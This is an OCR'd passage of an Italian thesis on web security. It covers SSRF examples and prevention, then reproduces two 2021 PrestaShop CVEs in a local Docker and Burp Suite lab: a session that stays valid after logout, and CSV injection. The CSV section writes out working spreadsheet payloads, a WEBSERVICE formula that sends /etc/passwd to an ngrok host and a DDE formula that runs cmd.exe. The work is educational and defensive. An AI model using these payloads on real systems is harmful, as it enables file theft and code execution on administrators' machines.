accedere per ricavare i dati di interesse. Qualora ’applicazione fosse vulnerabile, un

utente malintenzionato potrebbe modificare 'url a suo piacimento, ad esempio:

http://my-website.com/prodotti/dettagli?url=apiprodotti.com/admin

Facendo una richiesta di questo tipo 'attaccante pud accedere all’area admin della
API dei prodotti. Essa normalmente non sarebbe raggiungibile dall’esterno, ma
visto che la richiesta viene fatta dall’applicazione stessa, si riesce ad interrogare la
API. Si puo agire anche in modo diverso: la presenza di una SSRF, puo condurre
anche all’esposizione di file presenti nel server. Questo comportamento puo essere
ottenuto utilizzando il protocollo file:// nel parametro url:

http://my-website.com/prodotti/dettagli?url=£file:///etc/passwd

In questo modo l'applicazione invece di fare una richiesta alla API precedente,

carichera il file presente /etc/passwd.

Blind SSRF E lo stessa vulnerabilita di cui si & discusso sopra, P'unica differenza
& che stavolta, non e possibile vedere 'output della richiesta. Risulta evidente che

questo tipo in particolare ¢ piu difficile da sfruttare.

5.1. Prevenzione

Alcune regole da seguire che possono rivelarsi utili per evitare la presenza di SSRF

sono [30]:
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e creare una whitelist di domini DNS: questo permette di specificare i domini

che si considerano sicuri.

o evitare di prevedere protocolli che non vengono utilizzati: se 'applicazione uti-
lizza esclusivamente il protocollo https, permettere 1’utilizzo di altri protocolli
(come http, file, ftp) contribuisce solo ad aumentare la superficie di attacco.

« abilitare 'autenticazione sui sistemi interni: cosl anche se 'attaccante riesce

ad accedervi, si fermera alla schermata di login.

5.2. Caso reale

Nell’applicazione web dropbox era presente una vulnerabilita SSRF che permet-
teva di accedere a chiavi private di un’istanza AWS (figura |5.1).
i53 w Server Side Request Forgery (SSRF) at app.hellosign.com leads to AWS private keys disclosure Share
SUMMARY BY DROPBOX
The report details about a Server Side Request Forgery vulnerability that was present on the document upload through integrations feature in the
HelloSign application. The vulnerability was caused due to an unvalidated external file upload through our various integration partners. The attacker

could leverage this and access AWS private keys for a test role on our instance. There was no evidence of a Remote Code Execution or escalation of
privileges due to this leak as the instance had limited access. We fixed and verified the issue promptly.

Figura 5.1.: Report della vulnerabilita sul sito HackerOne
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Parte II.

Exploit di vulnerabilita note
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Capitolo 6.
Ricerca delle vulnerabilita

Per la ricerca delle vulnerabilita si ¢ utilizzato il Nist Vulnerability Databa-
se(NVD) e la lista dei CVE. 1l NVDEI e un database di vulnerabilita curato dal
governo degli Stati Uniti. La lista dei CVE(Common Vulnerabilities and Exposu-
res)E] ¢ un programma separato, che contiene una lista di record di vulnerabilita
pubblicamente note riguardo la cybersecurity. Anche se questi due programmi sono
distinti, essi sono fortemente legati in quanto la CVE list popola il databse NVD.
Entrambi i programmi sono pubblici e accessibili a tutti, gratuitamente.

Per la selezione delle voci del CVE sono stati utilizzati diversi criteri. Come primo
criterio, la vulnerabilita doveva essere presente in un applicazione web e non in un
software desktop, per ovvi motivi. In secondo luogo, si & voluto selezionare delle
vulnerabilita recenti, questo per due principali motivi: il primo e che sarebbe stato
piu rilevante trattare di vulnerabilita attuali piuttosto che di altre gia trattate in
passato; il secondo motivo € che sarebbe stato piu probabile trovare delle voci di
CVE che non presentano un exploit noto, il quale renderebbe poco interessante la
trattazione delle stesse. Un fattore aggiuntivo, ma non determinante, era quello
di trovare una serie di vulnerabilita che affliggessero lo stesso software, meglio se
quest’ultimo open source.

La ricerca, eseguita tenendo conto dei criteri precedenti, ha portato alla selezione
delle seguenti voci del CVE:

« CVE-2021-2130%
« CVE-2021-2130

Entrambe le vulnerabilita riguardano il CMS open source PrestaShoIﬂ, non pre-
sentano exploit noti e sono relative all’anno 2021. Inoltre PrestaShop mette a dispo-
sizione dei container Docker, che si possono rivelare utili nel creare un banco di prova
su una macchina per testare I'applicazione e quindi la presenza delle vulnerabilita
precedenti.

"https://nvd.nist.gov

2https://cve.mitre.org/
3https://nvd.nist.gov/vuln/detail/CVE-2021-21302
‘https://nvd.nist.gov/vuln/detail /CVE-2021-21308
Shttps://www.prestashop.com
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Capitolo 7.

Preparazione dell’ambiente in locale

7.1. Configurazione dei container Docker

Per allestire il banco di prova locale, verra utilizzato Docker e nel particolare il
container di PrestaShop relativo alla versione 1.7.7.1, che & 'ultima versione prima
della patch di sicurezza dei due CVE. Verra inoltre utilizzato un container MySQL
per la parte che riguarda il database. Il setup € configurato su una macchina con
sistema operativo a 64 bit basato su Ubuntu.

Si procede quindi con i vari step da eseguire:

1. Aprire un terminale e creare un network di docker mediante il comando:

$ docker network create prestashop-network

2. Eseguire il container MySQL, collegarlo al network creato in precedenza e
mappare la porta 3306 del container alla porta 3307 della macchina host:

$ docker run -ti --name mysql_z --network prestashop-network
-e MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7

3. Eseguire ora il container PrestaShop. Come nel passaggio precedente, col-
legarlo al network, mappare la porta 80 del containaer alla porta 8080 della
macchina host e settare un proxy HTTP all’indirizzo http://127.0.0.1:3001
che verra utilizzato in seguito:

$ docker run -ti --name prestashop_z --network
prestashop-network -e DB_SERVER=mysql_z

-e HTTP_PROXY=http://127.0.0.1:3001 -p 8080:80
-d prestashop/prestashop:1.7.7.1

4. Ora che sono in esecuzione entrambi i servizi, ¢ possibile procedere all’instal-
lazione di PrestaShop visitando 1'url http://localhost:8080.

5. Come credenziali di amministratore del sito, inserire "admin@example.com"

nel campo email e "password" per il campo password

6. Il passo successivo, relativo alla connessione con il database € 1'unico a cui
dover prestare attenzione. Infatti come indirizzo server del database si dovra
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Capitolo 7. Preparazione dell’ambiente in locale

Forum | Assistenza Documentazione | Blog

@ Presta

Assistente di Installazione @ @ @ @

¥ Sceglila tua lingua Configura il database compilando i campi sottostanti

Accettazione licenze
v Per utilizzare Prestashop, devi creare un database per salvare | dati e le attivita del tuo negozio.

- Si prega di completare i campi sottostanti al fine di collegare PrestaShop al tuo database.
+ Compatibilita sistema preg P P 0 P

' Informazioni negozio
Indirizzo server del database mysql_z

+ Configurazione del sistema L t & 3306. Per usare un'alira porta, digita il numero della porta alla fine dellindirizzo serve

Nome del database prestashop
." Mome di accesso database root
-
Need help? Password del database | e
Signup fora
support plan Prefisso delle tabelle ps_
Svuota le tabelle esistenti

Verifica adesso la connessione al tuo databasel
o] oo

Se hai bisogno di aiuto, puoi richiedere il supporto personalizzato del nostro team. La documentazione ufficiale & disponibile anche qui.

Figura 7.1.: Passo 6 - Connessione del database

inserire il nome del container MySQL creato in precedenza e come password

"admin" anch’essa specificata in precedenza (vedere figura .

7. Ad installazione completata rimuovere la cartella "install" e rinominare la car-
tella "admin", come suggerito dall’installer. Per fare cio, collegarsi al container
prestashop:

$ docker exec -it prestashop_z bash

ed eseguire i comandi:

$ rm -r install
$ mv admin admin1234

8. Una volta completato il processo I'ambiente & pronto per essere testato. E
possibile visitare il sito web all’url http://localhost:8080/ e I'area ammi-
nistratore all’'url http://localhost:8080/admin1234.

7.2. Configurazione di Burp Suite

Per intercettare le richieste HT'TP sara necessario un proxy. A tal proposito verra
utilizzato il software Burp Suite Community Edition di PortSwigger Ltd. Per far si
che esso intercetti correttamente il traffico HT'TP da/verso il container PrestaShop
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7.3. Configurazione del browser

Burp Project Intruder Repeater Window Help

Comparer Logger Extender roject options User options Learn JSON Web Tokens

Dashboard Target P Intruder Repeater Sequencer Decoder

Intercept HTTP history WebSockets history Options@

® Proxy Listeners

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use ¢

Add'§ 3 Running Interface Invisible Redirect Certificate
127.0.0.1:8081 Per-host Default

|  Edit |
Add a new proxy listener

Binding Request handling Certificate TLS Protocols HTTP

® These settings control how Burp binds the proxy listener.

Bind to port: 300]|

Bind to address: ) Loopback only

All interfaces

Specific address: | 127.0.0.1 v |

| OK@ Cancel |

Figura 7.2.: Configurazione di Burp Suite

€ necessario cambiare la porta di ascolto. Per fare cio basta recarsi nella tab Pro-
xy>Options e aggiungere un listener alla porta 3001 che ¢ la porta specificata in fase
di configurazione del container PrestaShop (Passo 3). Il procedimento ¢ riassunto

in Figura[7.2]

7.3. Configurazione del browser

L’ultimo passo da compiere per completare la configurazione dell’ambiente in lo-
cale & configurare il browser per poter funzionare assieme al proxy. In questo caso
verra utilizzato Firefox 92.0. Per cambiare le impostazioni del browser ¢ sufficiente
andare in Impostazioni > Impostazioni di rete, selezionare Configurazione manuale
del proxy e inserire: nel campo proxy HT'TP, I'indirizzo 127.0.0.1, nel campo Por-
ta, la porta 3001. Ora il proxy € correttamente configurato. Visto che il container
girera in locale il proxy potrebbe non intercettare le richieste relativa a l’indirizzo
localhost. Per ovviare al problema:

1. digitare nella barra degli indirizzi di Firefox "about:config"
2. cercare "network.proxy.allow__hijacking localhost" nella barra delle preferenze
3. settare la preferenza a "true"

L’applicazione ¢ ora pronta per essere testata attraverso gli strumenti sopracitati.
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La descrizione riportata nel CVE & la seguente:

PrestaShop is a fully scalable open source e-commerce solution. In Pre-
staShop before version 1.7.2 the soft logout system is not complete and
an attacker is able to foreign request and executes customer commands.
The problem is fixed in 1.7.7.2

La vulnerabilita in questione riguarda la non corretta implementazione della fun-
zione di soft logout. Nel particolare ci si trova di fronte ad un problema di session
management e quindi la sessione sara oggetto di test. Per verificare la corretta
gestione della sessione, si procedera ad esplorare I'applicazione, effettuare il login,
effettuare il logout e accertarsi se sia possibile o meno effettuare richieste con i cookie
della sessione precedente, la quale dovrebbe essere invalidata.

1. Si procede con una prima richiesta alla homepage del sito web (Figura :

/ Request to httpy//localhost:8080 [127.0.0.1]
| Forward | | Drop | | Action | | Open Bro... || Comment this item | W | HTTPA

Pretty lGEINE Hex \n =

GET / HITR/1.1

Host: Localhost:soso

User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86 64; rv:92.0) Gecko,/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, 1mage /webhp,*/*;q=0.8
Accept-Language: 1t,en-GB;q=0.7,en;q=0.3

6 Accept-Encoding: gzip, deflate

Connection: close

Referer: http://localhost:8080/

Cookle: PrestaShop-82d9100996faa670a0afeg85d64b50e7=
def50200d733b6231b179958577057230d2be aB35f eBdBb 8cf 42440 4 5cd21582061104591bde 3565ad6710573167d
begasfelbd3082a8326191fcde3dof 2d3585a165a14f 6af882252ede 415h2cc 7988421261 2c93335dbdf 71408f 62527
ce04debf 9lbabf 7cccOfe237836c1b81c1T62bad450af SaBd 041 22a603c 104228004 3cS50bdeSc780TboEbS3cealcs0s
dfc20c7ed12179c7ddef3a63615c1677cBbocB072a514c3c 93233120 720f Shed80e211 52 1032b6ae06f S66d327a6b0
7375738feafeal76afab39ceefasabz2f e6821b2a75344f e0ab1b97e805c3d0490bag741a 102851 c 2c0aat86f f 293cc
36822287 b32e7200b9821393e82507 1a4f80bb3f 29868631 2826301 09e6765h6e5f eae453d0ch5d 20ab2520700a4d 7
692019936cdsbebse63f 491 285ch6acc 9c81858946a28752c676ch6115T e l44cd7e77a2987 T edbf f 42f S4e01be2f oc
7c439e610e9Tb760ed; PHPSESSID=11e5f4c65f08dad27e28782al04ce0hb?; _ hste=

181257784 . chachb6311932210d1af 4227823307051 . 1633443522431 . 1633443522432, 1633443522432, 1;
hubspotutk=chbashb&311932210d1af 4ee78a307051; _ hssrc=1; _hjid=

e09514e6- cOc3- 4915- 972¢ - 09dc33abb79e;

10 Upgrade-Insecure-Requests: 1

[N

= U s W

L1s]

Figura 8.1.: Richiesta utente non loggato
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2.

Effettuando il login, viene aggiornato il cookie relativo a PrestaShop, come
mostrato in Figura|3.2

Response from http://localhost:8080/login?back=my-account [127.0.0.1]

| Forward || Drop || Action H Open Browser Comment this item | \ﬂ'

Pretty

GEE Hex FRender An

HTTP/1.1 302 Found
Date: Tue, 05 Oct 2021 16:03:26 GMT
) Server: Apache/2.4.38 (Debian)

Cache-Control: no-store, no-cache, must-revalidate

1
4 Expires: Thu, 19 MNov 1981 08:52:00 GMT
5
6

Pragma: no-cache

7 Location: http://localhost:2080/account

S Set-Cookie: PrestaShop-82d9100996f aa670a0afe885d64b50e7=
def502004daa1b36a78b573f chf 7af 2be13d0588bd3116ce8bte17ca36t d1d60295240707d1d22d3c 3622821 3cabaSa283c f 230f 38369
d6260c7044873a5294628adcf 419056260532h 2b 99436901 80d04215283551 541 22349537 de f 42086811 f 20365ce607c862216e 111 491
d22e200f 88h20280chd0a3d2e52355382a091 437217021 71b9da426f 96e0ch 1b727e8bb et dosf d280a 1ds0dos4832768881 82a41861d0
fdfea2f5f 145a287a1bb4583420392387h 36ef ccBeGabef 7o 1T 03ea852d 70209d 94354534 2303064 59da04958ee 07d80c 105675 e 3¢
fodco6abca8b3doe875f 71849071 1c9511 2515cf d66836143a8h7dSh 4dsSh5a8c50a60a 1b5t e0dath9a4575dcof f 766d34f Obccfef10asg1
6462d5dbd4f 76cc 36d94ecasadof 4ba0co1789ct 1dS0c | ccec3achdech059847004d3994b28deed310e48d04ce 13b 7504359 1be 1T deSo
81d5d97917 80947660c a99d48535d65a0h af d18022e923685da4f 5d291961 722597 20241441 Shagde579aebcasateda3sodef 1bo381bo
bbdac47b79a4c38b8e5b7d118dcSe1d8Th T 7eab085a1 f 1bb144832¢7709a02c6bedShees 122366097 ae64e2b 9T 8b 71 0d38ch 131a8fbbed
4b8zeeddanz21lbez53416e03f 3372086da3a8d85232320c 342 13656a32bd6038c d5T Bef a707d681 6d47dE8b594c 4c59d37efeba7lceacdss
662d70cfecedd1f 28208bS3c 711 cc45326c345b 196776c 1T h2904e5a66e60d3351a971 2f f 2d9abafsSs; explres=Mon, 25-0Oct-2021
16:03:26 GMT; Max-Age=1728000; path=/; Httponly

Content-Length: O

10 Connection: close
11 Content-Type: text/html; charset=utf-8
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Figura 8.2.: Risposta alla richiesta di login, con header Set-Cookie

E ora possibile accedere alle funzioni relative all’account: visualizzare/modifi-
care i propri dati, i propri indirizzi, vedere lo storico degli ordini, ecc...

Navigare ora all’indirizzo http://localhost:8080/indirizzol, compilare il
form relativo all’aggiunta del primo indirizzo, e, assicurandosi di avere I’opzio-
ne ’'Intercept is on’ su Burp Suite, cliccare su Salva.

A questo punto la richiesta viene intercettata dal proxy. Spostarsi su Burp,
cliccare su Action > Send to Repeater e successivamente cliccare su Drop.
In questo modo si avra la richiesta salvata nella tab Repeater, ma essa non e
ancora stata inviata, in quanto cliccando su Drop si ¢ interrotta la connessione.

Il procedimento ¢ rappresentato in Figura [8.3

Assicurarsi ora che all’indirizzo http://localhost:8080/indirizzi, non sia-

no presenti indirizzi salvati
Eseguire il logout tramite I’apposito bottone ’Esci’ situato nella barra superiore

Avendo eseguito il logout, ci si aspetta che la sessione precedente non sia piu
valida e che quindi non sia possibile effettuare altre richieste con i cookie di
sessione precedenti. Per verificare cio, spostarsi nella tab Repeater, dove si
trovera la richiesta salvata in precedenza, quella relativa all’aggiunta di un
nuovo indirizzo. Cliccare su Send e poi su Follow Redirection. Notare che
il codice HTTP della risposta & 200, il che sta a significare che la richiesta &
andata a buon fine.


http://localhost:8080/indirizzo
http://localhost:8080/indirizzi

Acu'on@ Open Browser | Comment this item W  uTIPn

Forward Direy
Pretty m Hex W = o
1 BOST /indirizzo?id_address=0 WTTP/1.1 Send o Intruder Cerd
2 =nst: localbost:2080 Send 1o Repeater CulR
3 user-Agent: Mozillass.0 (x11; ubuntu; Linud o0 Sequencer Farefon /2.0
4 accept: text/himl,applications/xhtalexml, apg jq=0.8
S Accept-lLanguage: it,en-G3;q=0,.7,en;q=0.3 Send to Comparer
& Accept-Encecing: gzip, deflate Send to Decoder
7 Content-Type: application/x-www-form-urlenc
2 Content-Length: 212 Request in browser
¢ Orzgin: http://Llocalbost:sos0 Extensions

10 Connection: close .

11 Referer: http://lecalhost:800/indirizzoe Engagement tools [Fro version only] >

12 Cookie: PrastaShop-B2d9l0099672a6/0s0ateBas Change request method
detS02002daslbl36a78b573  cbt 7at 2bel30058EbdZ
dE260c 708487 2aS204628ad e 41 5056460532b 20004

22d3c 36ae6213c a0aSa283c f 230f 328360

Change body encading f£:00681 { f I0265ce607c06221 6e 111 261

d22e200f 85b80380chdos 3d2e52350382a09f 43731 Copy URL Bfdesva ldsadosagaz reaesf s2aq Le61do
tdfea2fs?1452e97a10b 4583420306 3870356 CCBEE o0y 4e il command P306£e58:4a04958e207¢85C LOSE7See 3¢
I ade96abe 48k 3d0eB751 718250711551 1 2515 [ d6E Hatb9ad575dcof [ 7654341 ObeccOe610a8]
5462d5dbdaf 76cc 36d9ecatidof abatcul 7a6cf1dg  Copytofile ped3l0e48d04ce L3 7504365f 1be 1 fdato

B105d97911B0347660Ca99d4BE35d65aSbat 18022  Paste from file EbaBdeS73aebcaeatoda3sodet 1b9381b0
: f 5 BS0GTac6de2bef Sh7T0d38cb131 a8 bbed

Save dem pfadardeobedcacs9dsref eba’ loeacans

E62d70ctecedd1? 2Be06b93c 717 cc45326¢345h 1067  Don't intercept requests » Bbatse; __hste=
181257784, cbaghbf311932210d1af 4ea 782307051 , Do intercept , #3522432.1; hubspotutks
chasbb6311932210d1af 400 78a307051; _hjid=e0s T PepsssSID
1leStacest08dad27e 2678021040007, _ _hasrc=1 Convert selection

12 Upgracde-Insecure-Requests: 1 URL-encode as you type

14

15 back=&token=12fa06558938db306555he5ect0158 LIRS e=Brovakcompany=&vat_nusher=5&
addressl=via+Rosa%20=3haddress 2=6pos tcode=£ Copy il 0 pntry=108phone=ésubmi tAddress=1

Figura 8.3.: Intercettazione della richiesta

9. Eseguendo nuovamente il login nell’applicazione web e recandosi all’indirizzo
http://localhost:8080/indirizzi si nota che e stato aggiunto un indirizzo,
che & proprio quello compilato in precedenza. Nella Figura [8.4] viene mostrata
graficamente la risposta dell’applicazione prima e dopo la richiesta.

Home / Il tuo account / Indirizzi

I tuoi indirizzi

Il mio indirizzo
Home [ Il tuo account / Indirizzi

Utente Prova
I tuoi indirizzi via Roma, 3
62100 Macerata
Macerata
Nan i sana indirizzi disponibili. &pgiongi i indirizza Ttaly

+ Crea nudvi indirizzi

A Home

# Aggiorna B Elimina

+ Crea nuavi indirizzi

¢ Torna al tuge account & Home
Figura 8.4.: A sinistra: prima della richiesta; a destra: dopo la richiesta
Questo comportamento ¢ ovviamente estendibile anche alle altre funzioni dell’ap-

plicazione, come ad esempio il cambio password, che funziona esattamente allo stesso
modo. E evidente che la presenza di una vulnerabilita come questa rappresenta una
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minaccia per I'utente finale, in quanto e possibile eseguire azioni per suo conto, senza

che lui ne sia a conoscenza.
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La descrizione riportata nel CVE & la seguente:

PrestaShop is a fully scalable open source e-commerce solution. In Pre-
staShop before version 1.7.2 there is a CSV Injection vulnerability pos-
sible by using shop search keywords via the admin panel. The problem
is fixed in 1.7.7.2

L’applicazione & afflitta da una CSV Injection attraverso il campo di ricerca del
negozio (per una descrizione pitt accurata si rimanda al capitolo . Cio significa
che ci sara una funzione che permette I’esportazione delle ricerche fatte dagli utenti
in formato CSV. Ci si aspetta che questo tipo di funzione non sia accessibile a tutti
gli utenti del sito, ma solo all’amministratore. Infatti, collegandosi al pannello di
amministratore situato all’indirizzo http://localhost:8080/admin1234 ed effet-
tuando il login con le credenziali stabilite in fase di registrazione, tra le varie voci
del menu si trova una sezione Statistiche. All’interno di questa sezione sono presenti
svariate statistiche; quella che e rilevante per il caso attuale & la sezione Ricerca
Negozio. Navigando in questa sezione si trova I’avviso "Impossibile trovare parole
chiave che siano state ricercate per piu di una volta". Si e ora a conoscenza di dove

e come dover iniettare il payload.

1. Collegarsi all’indirizzo http://localhost:8080/. Sinoti che non & necessario

effettuare il login.
2. Scrivere nel campo di ricerca la parola "Mug" e cliccare sull’icona di ricerca.

3. Ripetere il passo 2 nuovamente. Questo perché altrimenti la parola chiave non

comparira nelle statistiche
4. Ripetere 'operazione per il valore "=5-3".

5. Visitare ora la pagina Statistiche > Ricerca Negozio dall’area amministratore
e verificare che sia presente le ricerche "Mug" e "=5-3"(Figura[9.1). Notare la
presenza della funzione "Esporta CSV".

6. Cliccando su "Esporta CSV" verra scaricato un file, che contiene la parola
chiave e il numero di volte che ¢ stata cercata. Notare che la formula nella
cella A3 ¢ stata interpretata (Figura|9.2).
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RICERCA NEGOZIO

=5-3
Mug
& Esporta CSV
parole chiave Occorrenze Risultati
Mug 3 5
=5-3 2 ]

Figura 9.1.: Statistiche delle parole ricercate, con funzione di esportazione in CSV

Ricerca negozio - 1633521185.csv -... 0

File Home |Inserisci Disegno Layout di pagina

Jfr =53

Figura 9.2.: Documento CSV aperto in Excel. La cella A3 contiene la formula

interpretata
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9.1. Utilizzo della formula WEBSERVICE()

Si ¢ visto come non sia presente nessun tipo di sanificazione dell’input dell’utente.
Questo permette ’esecuzione di formule all’interno del foglio Excel. Excel imple-
menta un vasto insieme di formule al suo interno, alcune delle quali, se utilizzate
in modo non appropriato, possono portare a conseguenze gravi. Alcune di queste

formule sono:

o WEBSERVICE o SERVIZIO.WEB: consente di ricavare dati da una risorsa
sul web

e HYPERLINK o COLLEG.IPERTESTUALE: simile alla precedente, crea un
collegamento ipertestuale ad una risorsa sul web

o DDE (Dynamic Data Exchange): consente di avviare un collegamento con
un’altra applicazione (solitamente il nome di un programma .exe), specifi-
cando un argomento. es: DDE("Excel","file.csv","A1"). Questo tipo di for-
mula ¢ esprimibile anche sotto un altro formato, e cioe: excel|'file.csv’!Al.
Quest’ultima forma ¢ quella che verra utilizzata piu tardi.

Alcune formule sono scritte in lingue diverse. Questo perché esse cambiano nome
a seconda della lingua in cui & impostato Excel.

9.1. Utilizzo della formula WEBSERVICE()

Attraverso 'utilizzo di questa formula ¢ possibile estrapolare dei dati dal documen-
to in cui si trova, o da file esterni. In questo caso verra utilizzato il file /etc/passwd,
presente in tutti i sistemi Linux. La procedura ¢ riportata qui sotto:

1. Per prima cosa ¢ necessario poter ricevere richieste HTTP. Per fare cio si
utilizzera il software ngrok[ﬂ Ngrok permette di creare URL pubblici e mette
a disposizione un’interfaccia per vedere le richieste effettuate verso di questi.

2. Dopo averlo scaricato, posizionarsi sulla cartella dove ¢ presente il file e lan-

ciarlo tramite il comando:

$ ./ngrok http 80

Saranno disponibili due url (uno per HT'TP, uno per HTTPS), uno dei quali
verra utilizzato nell’argomento della formula WEBSERVICE().

3. Scrivere nella casella di ricerca

=WEBSERVICE (CONCATENATE ("http://d6d7-93-150-231-182.ngrok.io/",
(’file:///etc/passwd’#$passwd.Al)))

ed effettuare la ricerca almeno due volte.

4. Utilizzare la funzione "Esporta CSV".

"https://ngrok.com
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5. Aprire il file. Una volta aperto il file potrebbero comparire degli avvertimen-
ti riguardo l'aggiornamento automatico dei contenuti di alcune celle. Sara

necessario dare il consenso.

6. Verificare attraverso ngrok la richiesta. Cio e possibile farlo o attraverso il ter-
minale in cui & in esecuzione o, solitamente, all’indirizzo http://localhost:

4040 (Figura [9.3).

82.ngrok.io/" (filey/

Le prime 10 parole chiave
0.375
0.375
0.25

Ricerca

Sheet 1 of 1 efault English (UK) i sult e 100%

1ttps://

ttl

Figura 9.3.: File CSV (sopra) e terminale con il pannello di controllo di ngrok (sotto)
che mostra l'avvenuta connessione

7. Si & riusciti ad estrapolare la prima riga del file /etc/passwd. Notare che lo
stesso comportamento puo essere ripetuto col contenuto di una cella se come
secondo argomento di CONCATENATE si inserisce un riferimento ad una cella
del documento (ad es: $A2).

9.2. Utilizzo della formula DDE()

Comportamento ben pitl grave si puo ottenere avvalendosi della formula DDE().
In questo caso si utilizzera la seconda forma. Quest’ultimo particolare caso ¢ ripro-
ducibile solo su macchine Windows. Gli step da seguire sono:

1. Come al solito, inserire nel campo di ricerca I'input malevolo, che questa volta

sara.:

=cmd|’/C calc’!AO

Breve analisi del payload:

e cmd ¢ il programma che verra utilizzato, cioé il prompt dei comandi di

Windows (cmd.exe)
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9.2. Utilizzo della formula DDE()

’/C calc’!AO specifica che deve essere estrapolata la cella A0 dal file ’/C
calc’ (questa ¢ la funzione che svolge il punto esclamativo in Excel). In
realta il risultato sara che verra eseguito il comando cmd.exe /C calc.
Il parametro /C indica di eseguire il comando specificato (in questo caso
cale, che sarebbe la calcolatrice) e poi di arrestarsi. Il valore della cella che
si inserisce non ha importanza, ad esempio si sarebbe potuto sostituire

una "x" al posto di AO.

2. Procedere come fatto in precedenza e quindi scaricare ed aprire il file CSV.

3. Allapertura si troveranno due avvertenze come mostrato nelle figure[9.4] e [0.5

Informazioni sulla sicurezza per Microsoft Excel F: X

@ Microsoft Office ha identificato un potenziale problema di sicurezza.

Percorso file: C\Users\aless\AppData\Local\Temp\Ricerca negozio -
1633538397 .csv

L'aggiornamento automatico dei collegamenti & stato disabilitato. Se si sceglie di
abilitarlo, il computer potrebbe non essere pil sicuro. Abilitare il contenuto

disabilitato solo se la fonte del file & attendibile.

Figura 9.4.: Avvertenza riguardo un possibile problema di sicurezza

Microsoft Excel

Impossibile accedere ai dati remoti.

Per accedere a questi dati, verra avviata automaticamente un‘altra applicazione. Alcune applicazioni attendibili installate nel computer potrebbero essere
utilizzate per diffondere virus o per danneggiare il computer. Scegliere Si solo se la cartella di lavoro proviene da una fonte attendibile e si desidera consentire
I'avvio dell'applicazione da parte della cartella di lavoro.

Awviare I'applicazione "CMD.EXE"?

Figura 9.5.: Avvertenza riguardo I’esecuzione di un’applicazione

4. Accettando entrambe le avvertenze avremo come risultato 1’esecuzione del

codice, come mostrato in Figura [0.6]

Si ¢ dimostrato come la presenza di questa vulnerabilita possa portare all’esecu-

zione di codice remoto. Nell’esempio si e utilizzata la calcolatrice, ma ovviamente &

possibile ripetere ’esperimento utilizzando un qualsiasi altro programma installato

nel computer della vittima.
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Sa io automatic =R v 3 R

File Home Inserisci Disegno Layout di pagina Formule Dati Revision

I =cmd|' /C calc'lAD

E
Le prime 10 parole chiave
#RIFl  0.35714285714286
=WEBSER\0.28571428571429 — Standard =
Mug 0.21428571428571
2 0.14285714285714

Calcolatrice

2
25
26
27
2

8

Figura 9.6.: Dimostrazione dell’avvenuta esecuzione del codice
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Capitolo 10.
Conclusione

La sicurezza delle applicazioni web e, piu in generale, la cybersecurity ¢ un ar-
gomento di forte interesse, vista la mole di dati che viene scambiata tramite il web
ogni giorno, e sicuramente ¢ un ambito a cui si dara sempre piu importanza d’ora
in avanti. Si e visto come, dopo una trattazione delle principali minacce a cui sono
sottoposte le applicazioni web, si e riusciti a sfruttare con successo delle vulnerabilita
note, facendo vedere i rischi della presenza di tali minacce. Cio che si € mostrato e
solo una parte di quello a cui si puo andar incontro trascurando la sicurezza del soft-
ware. Sulla base di questi risultati si consiglia di prevenire la presenza di eventuali
falle di sicurezza, agendo sia sulla progettazione del software, sia effettuando dei test
per accertarsi della sicurezza sotto vari aspetti dell’applicazione. Risulta necessario,
inoltre, essere a conoscenza delle minacce che sono presenti sul web, conoscenza, che
non deve essere ristretta agli "addetti ai lavori" ma a tutte le persone che possono
essere dei bersagli quando navigano online. Come disse Thomas Reid’s nel 1786:

A chain is no stronger than its weakest link.

Tradotto: una catena ¢ forte quanto il suo anello piu debole. E questo ¢ vero
soprattutto nella sicurezza informatica dove 'anello piu debole & spesso il fattore

umano.
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